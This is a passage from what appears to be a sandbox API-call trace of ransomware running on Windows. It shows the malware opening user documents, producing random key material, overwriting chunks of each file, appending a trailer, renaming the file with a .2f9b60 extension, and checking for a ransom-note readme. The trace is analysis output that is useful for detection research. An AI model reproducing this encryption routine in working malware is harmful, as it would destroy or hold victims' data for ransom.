(FileHandle=0xd88, IoStatusBlock=0x23a7fa98, FileInformation=0x23a7faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0093.305] FlushFileBuffers (hFile=0xd88) returned 1 [0093.308] CloseHandle (hObject=0xd88) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0093.309] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.309] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.309] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784a30) returned 1 Thread: id = 526 os_tid = 0xdac [0093.278] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p_49bK_rrgJ6QObaToT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p_49bk_rrgj6qobatot.odp")) returned 0x20 [0093.278] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p_49bK_rrgJ6QObaToT.odp", dwFileAttributes=0x20) returned 1 [0093.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p_49bK_rrgJ6QObaToT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p_49bk_rrgj6qobatot.odp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.278] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x239bf9c0 | out: lpFileSize=0x239bf9c0*=79245) returned 1 [0093.278] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x13589, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.279] ReadFile (in: hFile=0xd04, lpBuffer=0x239bf940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x239bf988, lpOverlapped=0x0 | out: lpBuffer=0x239bf940*, lpNumberOfBytesRead=0x239bf988*=0x4, lpOverlapped=0x0) returned 1 [0093.279] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.280] NtQuerySystemTime (in: CurrentTime=0x239bf880 | out: CurrentTime=0x239bf880*=132462176991142000) returned 0x0 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x5a70cfde [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x49d44c42 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x4df992d [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x165312b1 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x454247cf [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x74316f85 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x58937be3 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x412f259 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x510f00bd [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x3ea9a88b [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x4308f10f [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x1d001780 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x74807c54 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x35e1edbf [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x626c3cc6 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x7953c4ef [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x763ed2e9 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x4a54d682 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x417a96d3 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x45a149c1 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x5ceba4cd [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x3e8a8677 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x63b0415f [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x1bce24c [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x235447db [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x26002e83 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x245d2f73 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0xfbf175c [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x65beeae1 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x3cfeb748 [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x4f43b58c [0093.280] RtlRandomEx (in: Seed=0x239bf870 | out: Seed=0x239bf870) returned 0x1956cb89 [0093.289] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.289] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x239bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x239bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.290] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0093.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0093.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.290] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x239bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x239bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.294] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.294] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x239bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x239bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.294] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0093.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0093.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.295] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x239bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x239bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.306] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xf98d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.306] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x239bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x239bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.307] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xf98d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0093.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0093.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f520) returned 1 [0093.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.307] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x239bf8e0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x239bf8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e9c0 [0093.311] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.311] WriteFile (in: hFile=0xd04, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x239bf990, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x239bf990*=0x160, lpOverlapped=0x0) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ebb0 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0093.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0093.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86e870 [0093.312] sprintf (in: _Dest=0x1b86e870, _Format="%c%c" | out: _Dest="39") returned 2 [0093.312] sprintf (in: _Dest=0x1b86e872, _Format="%c%c" | out: _Dest="ed") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e874, _Format="%c%c" | out: _Dest="0c") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e876, _Format="%c%c" | out: _Dest="9c") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e878, _Format="%c%c" | out: _Dest="1a") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e87a, _Format="%c%c" | out: _Dest="ed") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e87c, _Format="%c%c" | out: _Dest="a7") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e87e, _Format="%c%c" | out: _Dest="72") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e880, _Format="%c%c" | out: _Dest="c6") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e882, _Format="%c%c" | out: _Dest="ab") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e884, _Format="%c%c" | out: _Dest="7e") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e886, _Format="%c%c" | out: _Dest="70") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e888, _Format="%c%c" | out: _Dest="a2") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e88a, _Format="%c%c" | out: _Dest="b9") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e88c, _Format="%c%c" | out: _Dest="3d") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e88e, _Format="%c%c" | out: _Dest="fa") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e890, _Format="%c%c" | out: _Dest="fa") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e892, _Format="%c%c" | out: _Dest="32") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e894, _Format="%c%c" | out: _Dest="66") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e896, _Format="%c%c" | out: _Dest="8a") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e898, _Format="%c%c" | out: _Dest="c8") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e89a, _Format="%c%c" | out: _Dest="21") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e89c, _Format="%c%c" | out: _Dest="36") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e89e, _Format="%c%c" | out: _Dest="f7") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8a0, _Format="%c%c" | out: _Dest="00") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8a2, _Format="%c%c" | out: _Dest="26") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8a4, _Format="%c%c" | out: _Dest="b8") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8a6, _Format="%c%c" | out: _Dest="1a") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8a8, _Format="%c%c" | out: _Dest="01") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8aa, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8ac, _Format="%c%c" | out: _Dest="74") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8ae, _Format="%c%c" | out: _Dest="7b") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8b0, _Format="%c%c" | out: _Dest="8d") returned 2 [0093.313] sprintf (in: _Dest=0x1b86e8b2, _Format="%c%c" | out: _Dest="3e") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8b4, _Format="%c%c" | out: _Dest="d5") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8b6, _Format="%c%c" | out: _Dest="b7") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8b8, _Format="%c%c" | out: _Dest="30") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8ba, _Format="%c%c" | out: _Dest="c0") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8bc, _Format="%c%c" | out: _Dest="b3") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8be, _Format="%c%c" | out: _Dest="30") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8c0, _Format="%c%c" | out: _Dest="56") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8c2, _Format="%c%c" | out: _Dest="b2") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8c4, _Format="%c%c" | out: _Dest="e9") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8c6, _Format="%c%c" | out: _Dest="b5") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8c8, _Format="%c%c" | out: _Dest="b5") returned 2 [0093.314] sprintf (in: _Dest=0x1b86e8ca, _Format="%c%c" | out: _Dest="77") returned 2 [0093.314] RtlInitAnsiString (in: DestinationString=0x239bfa08, SourceString="39ed0c9c1aeda772c6ab7e70a2b93dfafa32668ac82136f70026b81a01a6747b8d3ed5b730c0b33056b2e9b5b577" | out: DestinationString="39ed0c9c1aeda772c6ab7e70a2b93dfafa32668ac82136f70026b81a01a6747b8d3ed5b730c0b33056b2e9b5b577") [0093.314] RtlAnsiStringToUnicodeString (in: DestinationString=0x239bf9d8, SourceString="39ed0c9c1aeda772c6ab7e70a2b93dfafa32668ac82136f70026b81a01a6747b8d3ed5b730c0b33056b2e9b5b577", AllocateDestinationString=1 | out: DestinationString="39ed0c9c1aeda772c6ab7e70a2b93dfafa32668ac82136f70026b81a01a6747b8d3ed5b730c0b33056b2e9b5b577") returned 0x0 [0093.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1183a0 [0093.314] wcscat (in: _Dest=0x1b7ad5c0, _Source="39ed0c9c1aeda772c6ab7e7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\39ed0c9c1aeda772c6ab7e7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\39ed0c9c1aeda772c6ab7e7" [0093.314] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\39ed0c9c1aeda772c6ab7e7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\39ed0c9c1aeda772c6ab7e7.2f9b60" [0093.314] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\39ed0c9c1aeda772c6ab7e7.2f9b60", NtPathName=0x239bf9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\39ed0c9c1aeda772c6ab7e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1079c0 [0093.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0093.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.316] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x239bfa18, FileInformation=0x239bfa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x239bfa18, FileInformation=0x239bfa28) returned 0x0 [0093.316] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x239bfa18, FileInformation=0x239bfa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0093.317] FlushFileBuffers (hFile=0xd04) returned 1 [0093.318] CloseHandle (hObject=0xd04) returned 1 [0093.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0093.319] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.319] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.319] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784880) returned 1 Thread: id = 527 os_tid = 0xdb4 [0093.322] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRs8GttWm9Q.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qrs8gttwm9q.pptx")) returned 0x20 [0093.322] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRs8GttWm9Q.pptx", dwFileAttributes=0x20) returned 1 [0093.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRs8GttWm9Q.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qrs8gttwm9q.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.322] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x23b1fd80 | out: lpFileSize=0x23b1fd80*=59618) returned 1 [0093.322] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xe8de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.322] ReadFile (in: hFile=0xd04, lpBuffer=0x23b1fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23b1fd48, lpOverlapped=0x0 | out: lpBuffer=0x23b1fd00*, lpNumberOfBytesRead=0x23b1fd48*=0x4, lpOverlapped=0x0) returned 1 [0093.323] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.323] NtQuerySystemTime (in: CurrentTime=0x23b1fc40 | out: CurrentTime=0x23b1fc40*=132462176991610000) returned 0x0 [0093.323] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x3eb2ea81 [0093.323] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0xe97ca61 [0093.323] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x4e840142 [0093.323] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x312d0874 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x3a76353e [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x2417997e [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x183ae228 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x1b08533b [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x1d9b9e7c [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x729d5f72 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x2fd0a6a9 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x54d8d3ed [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0xc70be9e [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x353caafc [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x5c4c0e65 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x27fabcaa [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x1a428b5d [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x6e28af4e [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x2411621b [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x5303d0f9 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x777e2e8 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x34b0d76a [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x69bc9657 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x79cb1575 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x46ab4dde [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 